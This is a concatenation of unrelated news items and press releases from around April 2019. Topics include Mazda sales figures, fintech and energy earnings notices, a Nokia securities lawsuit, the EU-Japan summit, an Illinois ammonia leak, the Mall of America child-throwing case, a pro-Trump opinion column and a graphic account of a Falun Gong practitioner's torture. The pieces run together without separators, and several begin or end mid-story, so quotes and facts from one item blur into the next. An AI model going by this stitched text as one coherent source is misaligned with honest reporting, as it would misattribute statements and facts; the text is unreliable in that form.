production of passenger and commercial vehicles. [Overseas production of key models in March 2019] Mazda3: 17,280 units (down 26.4% year on year) Mazda2: 13,207 units (up 70.1%) CX-4: 4,947 units (down 11.7%) (2) April 2018 through March 2019 Mazda's overseas production volume in the period from April 2018 through March 2019 decreased 11.6% year on year due to decreased production of passenger vehicles. [Overseas production of key models in the period from April 2018 through March 2019] Mazda3: 203,291 units (down 20.3% year on year) Mazda2: 120,315 units (up 20.1%) CX-4: 56,302 units (down 20.0%) II. Domestic sales (1) March 2019 Mazda's domestic sales volume in March 2019 decreased 18.3% year on year due to decreased sales of passenger and commercial vehicles. Mazda's registered vehicle market share was 5.7% (down 1 point year on year), with a 1.9% share of the micro-mini segment (down 0.3 points) and a 4.4% total market share (down 0.8 points). [Domestic sales of key models in March 2019] Mazda2 (Demio): 6,467 units (down 14.8% year on year) CX-5: 6,330 units (down 31.8%) CX-8: 4,383 units (up 1.0%) (2) April 2018 through March 2019 Mazda's domestic sales volume in the period from April 2018 through March 2019 increased 2.0% year on year due to increased sales of passenger vehicles. Mazda's registered vehicle market share was 5.2% (up 0.1 points year on year), with a 2.1% share of the micro-mini segment (down 0.1 points) and a 4.1% total market share (up 0.1 points). [Domestic sales of key models in the period from April 2018 through March 2019] Mazda2 (Demio): 43,843 units (down 12.4% year on year) CX-5: 39,946 units (up 4.7%) CX-8: 31,029 units (up 136.8%) III. Exports (1) March 2019 Mazda's export volume in March 2019 decreased 5.6% year on year due to decreased shipments to North America, Oceania and other regions. [Exports of key models in March 2019] CX-5: 34,024 units (down 0.9% year on year) Mazda3: 11,976 units (up 2.9%) CX-3: 9,067 units (up 88.4%) (2) April 2018 through March 2019 Mazda's export volume in the period from April 2018 through March 2019 increased 1.8% year on year due to increased shipments to Europe and other regions. [Exports of key models in the period from April 2018 through March 2019] CX-5: 392,067 units (up 4.0% year on year) Mazda3: 141,215 units (down 3.5%) CX-3: 119,804 units (up 8.3%) IV. Global Sales (1) March 2019 Mazda's global sales volume in March 2019 decreased 11.0% year on year due to decreased sales in the U.S., China, Europe and other regions. [Global sales of key models in March 2019] CX-5: 46,364 units (down 10.4% year on year) Mazda3: 29,770 units (down 23.0%) Mazda2: 19,483 units (down 3.0%) (2) April 2018 through March 2019 Mazda's global sales volume in the period from April 2018 through March 2019 decreased 4.3% year on year due to decreased sales in the U.S., China and other regions. [Global sales of key models in the period from April 2018 through March 2019] CX-5: 458,270 units (up 3.0% year on year) Mazda3: 361,242 units (down 28.6%) Mazda2: 169,436 units (up 8.3%) About Mazda English French MONTREAL, April 26, 2019 (GLOBE NEWSWIRE) -- MOBI724 Global Solutions Inc. (MOBI724) or the Company) (TSX-V:MOS) (OTCQB:MOBIF), a global Fintech company offering a fully integrated suite of multiple Card-Linked Offers and Rewards, Digital Marketing and Business Intelligence and Payment Solutions will announce its Q4 2018 and 2018 annual results (the Results) on Tuesday, April 30th, 2019 after-market closing. Marcel Vienneau, CEO of MOBI724, will host a webinar on Tuesday, April 30th, 2019 at 4:15 PM EDT to discuss the Results and to provide a management update and outlook for FY 2019. Shareholders, investors, media representatives and other stakeholders are invited to join the webinar by following the instructions below: https://attendee.gotowebinar.com/register/3480365917648077827 After registering, you will receive a confirmation email containing information about joining the webinar. Brought to you by GoToWebinar- Webinars Made Easy About Mobi724 Global Solutions Inc. We enable smart transactions anywhere. MOBI724, a global Fintech company, offers a fully integrated suite of multiple Card-Linked Offers and Rewards, Digital Marketing and Business Intelligence and Payment Solutions (including a mobile EMV compliant payment platform), which work with any payment card, on any mobile device and at any Point of Sale. MOBI724 provides turnkey solutions for card associations, card issuers, banks, retailers, manufacturers, offer providers, to create, manage, deliver and track and measure incentive campaigns worldwide in real time. The company captures value from big data to deliver seamless and personalized user experiences for the benefits of all parties in the ecosystem. MOBI724 headquarters are in Montreal, Canada, and the company presently has operations in North and Latin America, the Caribbean and Asia Pacific. Legal Disclaimer Certain statements in this document, including those which express management expectations or estimations with regard to the Companys future performance, constitute forward-looking statements as understood by applicable securities laws. Forward-looking statements are, of necessity, based on a certain number of estimates and hypotheses; while management considers these to be accurate at the time they are expressed, they are inherently subject to significant uncertainties and risks on the commercial, economic and competitive levels. We advise readers that these forward-looking statements are subject to risks, uncertainties, and other known and unknown factors that may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievements expressed or implied in these forward-looking statements. Investors are advised to not rely unduly on the forward-looking statements. This advisory applies to all forward-looking statements, whether expressed orally or in writing, attributed to the Company or to any individual expressing them in the name of the Company. Unless required by law, the Company is under no obligation to publicly update these forward-looking statements, whether to reflect new information, future events, or other circumstances. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release does not constitute a solicitation to buy or sell any securities in the United States. For further information, please visit www.MOBI724.com or contact: Investor Relations: Marcel Vienneau President/CEO MOBI724 Global Solutions Inc. T: 514-394-5200; E: IR@mobi724.com Renault Set to Renew Nissan Merger Push Will Propose Joint Holding Company with Nissan The AIADA newsletter reported that Renault will propose to Nissan Motor Co a plan to create a joint holding company which would give both firms equal footing as the French automaker seeks further integration with its Japanese partner, citing the Japanese publication, the Nikkei. Under the proposal, both firms would nominate a nearly equal number of directors to the new company in which ordinary shares in both Nissan and Renault would be transferred on a balanced basis. This would effectively dilute the stake held by the French government in Renault to around 7 to 8 percent, from its current 15 percent, it added. The new company would be headquartered in a third country, such as Singapore. Renault plans to make the proposal to Nissan soon, the Nikkei said, having modified an earlier merger idea which Nissan rejected on April 12. The report of the proposal comes as the outlook for the alliance one of the world's top automaking partnerships has clouded since the arrest in November of its main architect, Carlos Ghosn, for financial misconduct. Read more here South Africa: Decrease data costs to increase ICT literacy Communications Deputy Minister Pinky Kekana has reiterated the call for a decrease in data costs in order to increase ICT literacy in society. The costs of data in this country are unjustifiable by any standard. We must do more to ensure that we connect more schools to the internet grid. It is the responsibility of government and the private sector. This is crucial for us to bridge the digital divide, said the Deputy Minister. The Deputy Minister was addressing the Mobile Learning Week Seminar on Artificial Intelligence for Sustainable Development at the University of Mpumalanga, in Nelspruit, on Friday. The department, working through the United Nations Education and Scientific Organisation (UNESCO) Communications and Information (CI) Sector coordinated a seminar, held under the theme Artificial Intelligence for Sustainable Development. The seminar focussed on, among other things, threats and opportunities of artificial intelligence in education and the upsurge of artificial intelligence readiness of the Southern African Development Community (SADC) region. Kekana said there was a need to make e-books, tablets and e-learning apps accessible to all in a sustainable manner. Digital technology and artificial intelligence is not the future anymore, but the present. If we move from this premise, it follows then we should ask how we leverage mobile learning and mobile technologies to support and enhance education for all. I am pleased that tech based companies form part of governments efforts to answer this question, because, the answer lies somewhere in a strong collaboration between the public sector and private sector, the Deputy Minister said. Together with a plan to equip learners with mobile learning tools, such as tablets in all public schools, government believes that this will substantially improve reading comprehension in the first years of school. This is essential in equipping children to succeed in education, in work and in life, and it is possibly the single most important factor in overcoming poverty, unemployment and inequality. She, however, acknowledged that mobile learning tools on their own will not be good enough, due to the low number of practitioners in early childhood development centres. According to the experts in the sector, the education system has approximately only 100 000 early learning practitioners. To teach ECD is a specialised skill, not all teachers can teach it. As such, we fully appreciate the fact that, supplying mobile learning tools in schools will not solve underlying issues negatively impacting the South African education sector. A holistic approach is required where technology is an enabler to learning and access to knowledge, Kekana said. The mobile learning week comes at a time when President Cyril Ramaphosa has set a clear path for South Africas education system. During his State of the Nation Address, President Ramaphosa announced a plan to bring ECD under the ambit of the Department of Basic Education. This will ensure that all children have two years of compulsory ECD before going to Grade 1. SAnews.gov.za This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. European Commission President Jean-Claude Juncker speaks at a press conference during the EU-Japan Summit in Brussels, Belgium, April 25, 2019. The 26th Summit between the EU and Japan took place in Brussels on Thursday afternoon, with European Commission President Jean-Claude Juncker and European Council President Donald Tusk meeting with Japanese Prime Minister Shinzo Abe. (Xinhua/Zhang Cheng) BRUSSELS, April 25 (Xinhua) -- The European Union (EU) and Japan on Thursday reiterated their "joint support for the Joint Comprehensive Plan of Action (JCPOA)", commonly known as the Iran nuclear deal, despite mounting pressure from the U.S. on the Islamic republic. The 26th Summit between the EU and Japan took place in Brussels on Thursday afternoon, with European Commission President Jean-Claude Juncker and European Council President Donald Tusk meeting with Japanese Prime Minister Shinzo Abe. The EU-Japan Summit Joint Statement affirmed their "commitment to contributing jointly to advancing international peace and stability, based on the rule of law and through intensified consultation and coordination". "We reiterate our joint support for the Iran/Joint Comprehensive Plan of Action," the statement said. The JCPOA is an agreement, endorsed by the United Nations Security Council, on the Iranian nuclear program reached in 2015 between Iran, China, France, Russia, United Kingdom, United States, and Germany. The U.S., under President Donald Trump, withdrew from the deal and put sanctions on Iran, albeit with waivers for some economies, including Japan. On Monday, the U.S. announced that it decided not to reissue sanctions waivers allowing major importers to continue buying oil from Iran when they expire in early May. The decision, according to the White House, is intended to bring Iran's oil exports to zero, denying the government its main source of revenue. 14 1 [ Editor: Zhang Zhou ] NEW YORK, April 26, 2019 (GLOBE NEWSWIRE) -- Wolf Haldenstein Adler Freeman & Herz LLP announces that a federal securities class action lawsuit has been filed in the United States District Court for the Southern District of New York on behalf of investors who purchased Nokia Corporation American Depositary Receipts (ADRs) (Nokia or the Company) (NYSE: NOK) between October 25, 2018 and March 21, 2019, inclusive (the Class Period). Investors who purchased ADRs of Nokia Corporation are urged to contact the firm immediately at classmember@whafh.com or (800) 575-0735 or (212) 545-4774. You may obtain additional information concerning the action on our website www.whafh.com. If you have incurred losses in the ADRs of Nokia Corporation, you may, no later than June 18, 2019, request that the Court appoint you lead plaintiff of the proposed class. Please contact Wolf Haldenstein to learn more about your rights as an investor in Nokia Corporation. ## Follow the firm and learn about newly filed cases on Twitter and Facebook. ## The filed complaint alleges that throughout the Class Period, Defendants made materially false and/or misleading statements, as well as failed to disclose material adverse facts about the Companys business, operations, and prospects. Specifically, Defendants failed to disclose to investors: that Alcatel-Lucent had certain compliance issues; that, as a result, the Company would be subject to regulatory scrutiny; that, as a result, the Company was reasonably likely to face penalties and fines; and that, as a result of the foregoing, Defendants positive statements about the Companys business, operations, and prospects were materially misleading and/or lacked a reasonable basis. On March 21, 2019, the Company disclosed that it had been, made aware of certain practices relating to compliance issues at the former Alcatel Lucent business [acquired by Nokia November 2016] that have raised concerns. Nokia then advised investors that it had initiated an internal investigation and that it was cooperating with regulatory authorities to resolve the matter. On this news, shares of Nokia fell $0.38 per share, or over 6%, to close at $5.88 on March 22, 2019. Wolf Haldenstein Adler Freeman & Herz LLP has extensive experience in the prosecution of securities class actions and derivative litigation in state and federal trial and appellate courts across the country. The firm has attorneys in various practice areas; and offices in New York, Chicago and San Diego. The reputation and expertise of this firm in shareholder and other class litigation has been repeatedly recognized by the courts, which have appointed it to major positions in complex securities multi-district and consolidated litigation. If you wish to discuss this action or have any questions regarding your rights and interests in this case, please immediately contact Wolf Haldenstein by telephone at (800) 575-0735, via e-mail at classmember@whafh.com , or visit our website at www.whafh.com. Contact: Wolf Haldenstein Adler Freeman & Herz LLP Kevin Cooper, Esq. Gregory Stone, Director of Case and Financial Analysis Email: gstone@whafh.com , kcooper@whafh.com or classmember@whafh.com Tel: (800) 575-0735 or (212) 545-4774 Attorney Advertising. Prior results do not guarantee or predict a similar outcome. CINCINNATI, April 26, 2019 (GLOBE NEWSWIRE) -- The Hillman Group, Inc. (Hillman), announced today they are joining Generation T (Gen T), a national movement launched by Lowes Home Improvement to address the widening skilled trades gap. Together, Gen T seeks to drive enrollment in skilled trade training and build a pipeline of skilled trade workers to offset the anticipated gap of 3 million jobs by 2028. One key component of the movement is a first-of-its-kind national skilled jobs marketplace, available on the Gen T website that connects people to prospective apprentices. In speaking with our customers and in particular contractors at the recent International Builders Show, we understand and recognize the urgent need to educate and train the next generation of skilled tradesmen & tradeswomen, says Chip Church, Vice President of National Accounts and eCommerce. The Generation T movement will help ensure this next generation of trade professionals are matched with the right opportunities. Hillman joins more than 60 Gen T organizations across the country who are facilitating the education and training needed to populate the skilled trades industry, close the job skills gap and shape a new perception of the skilled trades. The success of Generation T begins with collaboration among our many partners who are using their voices to bring the professional trades back: back to education, back to the American economy and back to a place of admiration and respect in our society, said Jennifer Weber, executive vice president of human resources at Lowes. We believe the professional trades are an essential part of Americas future, and were committed to opening the path to those who relish the challenge of creating something out of raw materials and take pride and satisfaction in mastering the skills required to do it. We are excited to collaborate with Lowes and other industry professionals in support of Generation T, adds Church. We believe this initiative is vital to the future of our business, our industry and represents a unique opportunity to partner to develop the next generation of skilled trade professions. Its exciting to know this group will find unlimited growth opportunities, while helping maintain an industry that is important to the health of the overall economy. We look forward to supporting local and national vocational programs at industry events with products, training and public awareness. For more information about Generation T, please visit WeAreGenerationT.com or follow the conversation on social with #GenerationT. About Generation T Generation T is a movement of organizations, launched by Lowes, committed to rebuilding and changing public perceptions of the skilled trades in America. Generation T seeks to drive enrollment in skilled trades education and build a pipeline of skilled trade workers to offset the anticipated gap of 3 million jobs by 2028 through a first-of-its-kind national marketplace for connecting people to prospective apprentices and jobs. For more information on Generation T, visit www.WeAreGenerationT.com. About The Hillman Group Founded in 1964 and headquartered in Cincinnati, Ohio, Hillman is a leading North American provider of complete hardware solutions, delivered with industry best customer service to over 26,000 customers. Hillman designs innovative product and merchandising solutions for complex categories that deliver an outstanding customer experience to home improvement centers, mass merchants, national and regional hardware stores, pet supply stores, and OEM & Industrial customers. Leveraging a world-class distribution and sales network, Hillman delivers a small business experience with big business efficiency. For more information on the Company, please visit our website at http://www.hillmangroup.com or call Investor Relations at (513) 851-4900, ext. 68284. Are you a current print subscriber to Columbia Gorge News? If so, you qualify for free access to all content on columbiagorgenews.com. Simply verify with your subscriber id to receive free access. Your subscriber id may be found on your bill or mailing label. Jenna Bush Hager and Jay Leno presented a Navy veteran with a special gift Thursday on the Today show. Youre an American hero, and we wanted to present you with this, Jay Leno said in the Thursday morning segment of the morning talk show. ... The bad news is this is a used car. The good news is it was owned by a Navy hero, and that hero was President George [H.W.] Bush. This was his personal van that they used in the last years of his life to get around. According to the Today show, the modified former Secret Service van was gifted to David Miller, a Navy veteran living with a degenerative neurological condition called cerebellar atrophy and ataxia, which affects movement and speech. The Chrysler Pacifica, modified by BraunAbility, was used by the former president Hagers grandfather and has been outfitted to meet Millers needs. The company owned the former Secret Service vehicle and reached out to Leno to help donate it through its Drive for Inclusion initiative, Today said. According to an article by the Today show, Miller suffered a seizure while deployed on the USS Nimitz in the Middle East. He was medevaced to Bahrain and diagnosed with the rare disorder. Pat and I learned years ago, you cant out-give God, he said. His resources are bountiful, and when you give and whomever you give, if you give with your heart and with joy and with thanksgiving, you will be blessed. Pat and I are honored to be here, and all the things we wanted was to glorify God. Michael Parks described his boss Tom Wilkinson as genuine, calling him selfless with his giving. He might have a bark, but his bite is very soft. He is there to help however he can, professionally, personally, Parks said. It does not matter if it is one person, two people or an entire community needing help, he said Wilkinson will lend a hand. Parks highlighted a few of Wilkinsons organizations, including those that help bring high-speed internet to rural communities, help young families get into homes, help nonprofits get the supplies they need at a low cost, and Senior Christmas, which helps senior citizens during the holidays. During his speech, Wilkinson announced he will be creating a fund with Community Foundation to support the Senior Christmas program. The event served 800 people last year, with a goal of helping 1,000 this year. Texas Department of Public Safety officials are investigating a two-vehicle crash in Burleson County that killed a Somerville man early Friday, authorities said. According to DPS Sgt. Jimmy Morgan, Keith Porter, 55, was killed when his pickup crossed the center line on F.M. 60, about a mile west of Lyons, and crashed into an 18-wheeler. Officials said Porter, who was not wearing a seat belt, was pronounced dead at the scene of the accident. The driver of the 18-wheeler was treated for injuries at the scene. The crash remains under investigation. It means the effort we have put forward, its nice to see that its here, she said of the opening. She also said a favorite feature in the home is in one of the bathrooms. Builders inserted tile art reading HOPE against one of the showers walls. After the celebratory ribbon cutting, attendees explored the 1 1/2 story home. Dozens of area companies donated to the building project. The brick, for example, was a joint venture between Meridian Brick, Acme Brick and Sams Masonry. Samuel Santos said about 35 workers came out to lay the brick, and that a personal relationship with Jimmy Pitman led him to donate his companys time. Jimmy helps me with projects all the time, and so I wanted to help these people, too, Santos said. We worked for about five days on the brick and stone wall. Jeff Kelbly, a sales representative for Acme Brick, said that his motivation to get involved was both professional and personal. His son endured severe burns, and a Galveston burn unit at a childrens hospital helped his son heal, but his family never received a bill, he said. With Leslie Odom Jr. in town performing with the Brazos Valley Symphony Orchestra, the Steel Magnolias performing at The Calvary Fellowship and the spring concerts for the Texas A&M University Bands, there are several musical events in town this weekend. There are also annual charity events, 5Ks, the Burton Cotton Gin Festival and more. For a full list of events, check out the Events Calendar. The Ronald McDonald House Charities presents Starlight Affair on Friday from 6 to 9 p.m. at Traditions Club in Bryan. The fundraising event features cocktails, live music, dancing and tastings from several local chefs. There will also be a silent and live auction. For more information, visit rmhc.org. The Texas A&M Class Councils presents Ring Dance 2019 on Saturday at 8:30 p.m. inside Kyle Field Hall of Champions. A single ticket is $50 and a pair of tickets is $85. For more information, visit boxoffice.tamu.edu. Not one of the overblown doomsday scenarios that President Trump was supposed to unleash on humanity has panned out. The economy hasnt collapsed. Fascism hasnt come to America. And we arent at war with the world. The president, in fact, has an impressive record of conservative accomplishments. Admittedly, it is easy to lose sight of them amid the flurry of tweets, the high turnover rate in the administration and the daily skirmishes with journalists. But Trump has cut taxes, pursued an aggressive deregulatory agenda, boosted the defense budget and appointed two fine justices to the Supreme Court as well as a record number of appellate judges to the federal bench. The economy is growing, unemployment is falling and wages are rising. We have pulled out of the Paris accord, withdrawn from the Iran nuclear deal, and destroyed Islamic State. Trump has arguably done more to advance the conservative agenda than any other of the 16 Republican candidates he ran against would have. If anything, it is Trumps original die-hard supporters who have the most reason to be disappointed with him. His rhetoric notwithstanding, Trump has proven to be more of a conventional Republican than an America first nationalist. CALGARY, Alberta, April 26, 2019 (GLOBE NEWSWIRE) -- Baytex Energy Corp. (TSX, NYSE: BTE) will release its 2019 first quarter financial and operating results after the close of markets on Thursday, May 2, 2019. A conference call and webcast will be held on Friday, May 3, 2019 to discuss the results. Conference Call Details: Date: Friday, May 3, 2019 Time: 9:00 a.m. MDT (11:00 a.m. EDT) Dial-in: 1-416-915-3239 (Toronto Local and International) 1-800-319-4610 (North America Toll-Free) Webcast: http://services.choruscall.ca/links/baytexq120190503.html An archived recording of the conference call will be available shortly after the event by accessing the webcast link above. The conference call will also be archived on the Baytex website at www.baytexenergy.com Baytex Energy Corp. is an oil and gas corporation based in Calgary, Alberta. The company is engaged in the acquisition, development and production of crude oil and natural gas in the Western Canadian Sedimentary Basin and in the Eagle Ford in the United States. Approximately 83% of Baytexs production is weighted toward crude oil and natural gas liquids. Baytexs common shares trade on the Toronto Stock Exchange and the New York Stock Exchange under the symbol BTE. For further information about Baytex, please visit our website at www.baytexenergy.com, or contact: Brian Ector, Vice President, Capital Markets Toll Free Number: 1-800-524-5521 Email: investor@baytexenergy.com The show comes out today in NZ on Netflit and focuses on high school student, Sasha (Sivan Alyra Rose) who, while recovering from heart surgery, starts having strange visions linking her to the girl whose heart she now has inside her. Its synopsis says: "Sasha is a young teen whose heart stops and she immediately gets a new donor heart. After her heart transplant, she doesn't feel the same. Haunted by eerie visions and sinister impulses, she tries to unmask the truth behind her donor's mysterious death." The organisation queen Marie Kondo has shot to fame recently, mainly thanks to her Neflix series 'Tidying Up with Marie Kondo'. But not everyone is a fan of her methods apparently, including our fave Project Runway mentor Tim Gunn. In podcast 'The One Way Ticket Show', Tim Gunn has gone absolutely IN on Marie and her methods - he is absolutely not here for Marie Kondoing at all. "Ive never said this publicly... I have been asked twice to conduct an interview with Marie Kondo and I have twice declined. I am not a believer. I just dont subscribe to her methods," he said. "This whole business of 'sparking joy.' I have a huge number of books; do they ALL spark joy? Rogets Thesaurus does not spark joy. Am I going to get rid of it? NO." In this still image from video provided by ABC7 Chicago, a fire engine sprays water on a container of the chemical that farmers use for soil after after anhydrous ammonia leaked in Beach Park, Ill., on April 25, 2019. (ABC7 Chicago via AP) 37 Hurt, Including 7 Critical After Chicago-Area Gas Leak BEACH PARKA chemical leak that caused a toxic plume to hang for hours over a northern Chicago suburb Thursday sickened dozens of people, including seven who are in critical condition, officials said. Lake Forest Fire Chief Mike Gallo said a tractor was towing two separate two-ton containers of anhydrous ammonia when the leak occurred around 4:30 a.m. Initial reports suggested the vehicle was involved in a crash, but the sheriffs office later said that was not the case. The cause of the leak has not been released. The leak created a toxic cloud that lingered for several hours over Beach Park, about 40 miles north of downtown Chicago. Authorities ordered residents within a 1-miles radius to stay inside and close their windows. Area schools were closed for the day. Pamela Burnett of unincorporated Warren Township said she was headed to her job in Kenosha, Wisconsin, when she drove through the toxic cloud. Burnett said she wasnt sure if it was smoke or dust from the shoulder of the road. It kept on getting bigger and biggerthis wasnt going away. I tried to slow down and not go through it, Burnett told reporters at the scene. The next thing I knew, I couldnt breathe. It was such a strong smell. I thought to myself, Lord this is it. Im done now. Burnett, 57, said she pulled off the road while spitting and coughing and called 911. She was taken to a hospital for treatment. Her condition wasnt immediately known. Eleven firefighters were among the 37 people who were hospitalized, and one of the injured firefighters was among the seven in critical but stable condition, according to the Lake County Sheriffs Office. Three law enforcement officers were in good condition and several others were serious but stable, sheriffs spokesman Christopher Covelli said. Authorities said most of those injured suffered breathing problems. This is a very dangerous chemical that can cause unconsciousness and, worst case scenario, death, Covelli said. According to the Centers for Disease Control and Prevention, anhydrous ammonia is a colorless gas that can cause breathing difficulties, burns, blisters and is fatal if breathed in high concentrations. Farmers use it to add nitrogen to soil. The first two officers who responded to the leak had to retreat because they were overcome by the ammonia, Covelli said. It was difficult to get to that scene initially with those chemicals in the air without proper protection and gear to wear over the face, he said. Authorities said about two dozen law enforcement agencies responded to the leak. The leak was contained within a few hours and the leaking tank was empty, authorities said, adding that they were waiting for the chemical plume to dissipate. The order to remain indoors was lifted by late morning, Covelli said. The National Transportation Safety Board announced late Thursday it is sending a team to Illinois to investigate the chemical release. The NTSB said the team of four will be on the scene Friday. A sign at the Mall of America, the largest in the United States, is seen in a 2006 file photo. (Tim Gans/AFP/Getty Images) 5-Year-Old Boy Thrown From Mall of America Is Alert and Not in Critical Condition, Says Family The family of the 5-year-old boy who was thrown from a Mall of America balcony is alert and is not in critical condition any longer, according to local reports. Earlier this month, the boy, named Landen, was allegedly tossed from a third-floor balcony at the Minnesota mall and dropped at least 30 feet, suffering serious injuries. The family, in a statement on April 26, said he is responsive and out of critical condition. They hope he will be back home by June 2019, KELOLand reported. Donations pour in for boy thrown from Mall of America balcony https://t.co/fKOFJZ0VeU pic.twitter.com/PIRG4jmH4D New York Post (@nypost) April 14, 2019 Please keep praying for our son, the family told CBS Minnesota. The family also thanked the tens of thousands of people who donated to a GoFundMe page set up for the child, which raised about $1 million. Pastor Mac Hammond said Landen, whose last name hasnt been revealed, has no signs of brain damage or swelling, according to CBS. Hammond said a physician looking over the child said his recovery is truly a miracle. UPDATE: The man accused of throwing a child off a Mall of America balcony had been banned from the mall for two separate incidents in 2015. | https://t.co/LhGz9A8pCm pic.twitter.com/bssa9wTfGJ WCCO CBS Minnesota (@WCCO) April 12, 2019 The suspect, Emmanuel Aranda, faces a felony charge of attempted premeditated first-degree murder. He returns to court on May 14. On the GoFundMe page, the family said on April 24 that Gods hand is working and added that prayers are working. Your Prayers Are Working: Family Of Boy Thrown From MOA Balcony Says Hes Still In Intensive Care https://t.co/ZPFOf60KzL pic.twitter.com/AuOOUbM52d WCCO CBS Minnesota (@WCCO) April 24, 2019 Our son remains in intensive care, under sedation and under close monitoring as we stay patient to allow him to heal, the update said. Aranda, 24, apparently was angry because he was rejected by women at the Mall of America and was looking for someone to kill when he tossed the child, said a criminal complaint in mid-April. Aranda has two past convictions for assaults at the mall, both in 2015, including one in which he threw a glass of water and glass of tea at a woman who refused to buy him something. Aranda at one point was banned from the mall, according to The Associated Press. Court records show that Aranda had been ordered to undergo psychological evaluation or treatment after the earlier mall assaults. The boys mother told police that Aranda came up very close to her group as they stood outside the Rainforest Cafe restaurant. She said she asked him if they were in his way and should move, and he picked up the child without warning and threw him off the balcony, according to the complaint. Defendant indicated he had been coming to the Mall for several years and had made efforts to talk to women in the Mall, but had been rejected, and the rejection caused him to lash out and be aggressive, the complaint added. A mailing address was also provided by the family to people who want to send cards to the child: Prayers for Landen PO Box 43516 Brooklyn Park, MN 55443-4200 (L) Gao Rongrong before the Falun Dafa persecution campaign was launched. R Gao Rongrong 10 days after her face was shocked repeatedly with electric batons for more than seven hours by guards at the Longshan Forced Labor Camp, simply because she practiced Falun Dafa. (MInghui.org) A Face Destroyed: The Story Behind the Photo That Showed the World the Brutality of the Chinese Regime It didnt take long for Gao Rongrongs fair complexion to be reduced to a charred mess. Seven hours after prison guards handcuffed her to a radiator and began shocking her in the face with high-voltage electric batons, blood and hair were stuck to her burned skin, her face was severely swollen, and blisters erupted all over her face and neck. That was just one small part of the vicious torture meted out to Gao after she was detained for practicing Falun Dafa, a traditional meditation practice whose adherents have been subjected to a relentless campaign of persecution in China since 1999. Although the torture and abuse Gao underwent while incarcerated for her beliefs is a grim story, it does have an upside. Photographs circulated of her scorched, brutalized face shocked the world and did much to demonstrate the abject cruelty of the Chinese Communist Partys (CCP) repression of Falun Dafa. The photos drew attention from the international community and Gao became a become a well-known example of the regimes campaign against Falun Dafa adherents. Desperate Escape Attempt After the CCP began its persecution campaign in July 1999, Gao, who worked as an accountant the Luxun Academy of Fine Arts in Shenyang City, went to Beijing to petition for the right to practice Falun Dafa. For this she was arrested, detained, and sent to forced labor camps several timesas were many of her fellow Falun Dafa practitioners. In June 2003 she was sent to the Longshan Forced Labor Camp for three years, where she subjected to forced labor, sleep deprivation, brutal beatings, and shocking by electric batons. It was at Longshan on May 7, 2004, that the attack on her face occurred. Soon after, unable to take the torture any longer, she tried to escape by jumping from a window on the second floor (it was an office window, with no bars). But there was no escape for Gao: She suffered two hip fractures, a broken left leg, and a fractured heel from the fall. After that, she was moved to the Shenyang Public Security Hospital where she was kept under guard. When her two sisters, Gao Weiwei and Gao Lili, were finally allowed to visit her, they burst into tears upon seeing her face. Gao cried as well. In a weak voice, Gao told her sisters how two guards had shocked her repeatedly on the face, hands, feet, and legs for more than seven hours. The only reason they stopped was because another inmate who was being shocked suffered a heart attack. But one of them threatened Gao that hed be back to shock her again. When we saw Rongrong on May 14, she was in a lot of pain, the sisters wrote in an article published on Minghui.org, a website that compiles information on the Falun Dafa persecution. She had a catheter inserted, and the wounds on her hands and feet were still severe. We could not even imagine the pain caused by the burns on her facethere were still many blisters and pustules around the burnt flesh even after a week. She also had fractures in her leg and pelvic bones. The prison guards claimed the burns on Gaos face were caused by her jump from the window. Gao Wants Her Brutalized Face Shown to the World Gao told her sisters she wanted them to take pictures of her face and use them to let the world know about the persecution. Falun Gong practitioners are usually tortured in dark corners of the forced camps, concealed by the authorities, she said. When I decided to jump out the window, I had the thought that I must stay alive. I needed to escape and show the public my burns and injuries and expose their evil actions to the world. The next morning, Weiwei managed to bring in a camera and quickly take a few photos without the guards noticing. Gaos family and some fellow Falun Gong practitioners worried that publicizing photos of her disfigured face would put her in greater danger, but she didnt hesitate. We should expose the persecution, she said. For years, so many practitioners have been suffering horrendous torture, but its difficult to expose the persecution. Many practitioners are now raising awareness in New York City. Please give the photos to them. On July 7, 2004, photos of Gaos burnt face was published on the Minghui website. From there, practitioners living in the West displayed it at rallies and demonstrations to raise awareness about the persecution of their fellows in China. In addition, her case became the first case study in the 2004 United Nations Human Rights Report on Chinas Persecution of Falun Gong. A video of Gao speaking about her ordeal was also recorded during that time. She described some of the torture and abuse she and other practitioners endured at the labor camp. They arent treating us like human beings. Falun Gong practitioners are all good people, people who practice truthfulness, compassion, and tolerance, but the persecutors treat us so horribly that it is as though they have no conscience. They cruelly injure and torture us without any remorse, she said. I am here, and I hope we can gain freedom. I hope kind-hearted people in the world can pay attention to this persecution of Falun Gong. Rongrong was Brave Later, Gao was transferred to another hospital as a result repeated requests from her family, but she continued to be closely monitored. Despite that, on Oct. 5, 2004, a few of her fellow practitioners staged a rescue and somehow managed to get her out of the hospital under the noses of the police. She subsequently went into hiding. Already furious that the photo of Gaos disfigured face had surfaced in the international community, the authorities pulled out all the stops to track her down. Even Luo Gan, then-head of Party Politburo Standing Committee and the man responsible for overseeing the persecution campaign, became involved. Not only Gao, but also the practitioners who helped her were being hunted. Her entire family was also monitored and harassed. Six months later, Gao was recaptured and sent to the brainwashing center at Zhangshi Forced Labor Camp, and from there to the notorious Masanjia Forced Labor Camp, known among Falun Dafa practitioners as a dark den of evil due to the brutality of the guards. Little is known about what happened to her there, but on June 6, 2005, she was sent to the emergency department of the China Medical University Hospital in Shenyang. On June 12, Gaos parents were notified that they could visit her. They rushed to the hospital, only to find that she was unconscious and breathing through a machine. She arrived in severe condition, a doctor told them, according to Minghui. Three days later, at the age of 37, Gao left this world forever. But the photo of her destroyed face that she wanted the international community to see will continue to expose the savagery and senselessness of the persecution. Rongrong was brave. She used her own life to show the world the brutal, ugly truth behind the communist regime in China, her sisters wrote. Perhaps these perpetrators will never understand why Rongrong was so persistent in her beliefs. But few things can move a person once they find their true faith. An Amber Alert was issued for 5-year-old Ethan Montes (L) and his mother Juliet Mohammed on April 25, 2019. (Peel Regional Police) Update: 5-Year-Old Boy Found After Amber Alert Issued UPDATE: Peel Regional Police say the child and his mother have been located out of the region as a direct result of the amber alert. The child is in good health. UPDATE TO AMBER ALERT: Child and mother have been located out of the Region. Child is in good health. They were located as a direct result of the Amber Alert. We are in the process of working with the OPP to cancel the Amber Alert. We thank the public and media for their help. Peel Regional Police (@PeelPoliceMedia) April 25, 2019 An amber alert was issued in Ontario for a missing five-year-old boy. Peel Regional Police say Ethan Montes is believed to be in the company of his mother, Juliet Mohammed, 47, who is their current suspect. Police say Juliet is driving a grey 2003 